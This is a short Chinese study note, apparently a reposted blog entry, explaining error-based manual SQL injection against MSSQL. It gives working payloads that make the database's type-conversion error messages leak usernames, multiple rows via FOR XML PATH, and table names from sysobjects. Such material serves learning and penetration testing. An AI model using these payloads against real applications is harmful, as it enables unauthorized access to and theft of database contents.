码迷,mamicode.com
首页 > 数据库 > 详细

学习笔记 MSSQL显错手工注入

时间:2016-12-14 02:17:30      阅读:206      评论:0      收藏:0      [点我收藏+]

标签:com   comm   top   arc   sql语句   targe   blog   cts   username   

和朋友一起学习,速度就是快。感谢珍惜少年时

网上很多都在长篇大论MSSQL显错手工注入,其实原理只有一小段。如下:

‘ and (查询一段内容)=1 and ‘C‘=‘C
nvarchar类型(查询一段内容的返回) 会自动转换int类型 ,肯定会转换失败。然后报错将nvarchar类型(查询一段内容的返回) 的值显示出来。

由这个原理衍生出单字段查询。如下:

‘ and 0=(SELECT top 1 username FROM table) and ‘C‘=‘C

然后有衍生出多字段查询。如下:

‘ and 0=(SELECT top 100 username FROM table FOR XML PATH(‘‘)) and ‘C‘=‘C

最后根据MSSQL内置表特性和函数,写出如下:

‘ and 1=(select quotename(name) from 数据库名称..sysobjects where xtype=‘U‘ FOR XML PATH(‘‘)) and ‘C‘=‘C

如果SQL语句看不懂,请百度。

 

如果有问题欢迎纠正。

学习笔记 MSSQL显错手工注入

标签:com   comm   top   arc   sql语句   targe   blog   cts   username   

原文地址:http://www.cnblogs.com/MiWhite/p/6173711.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!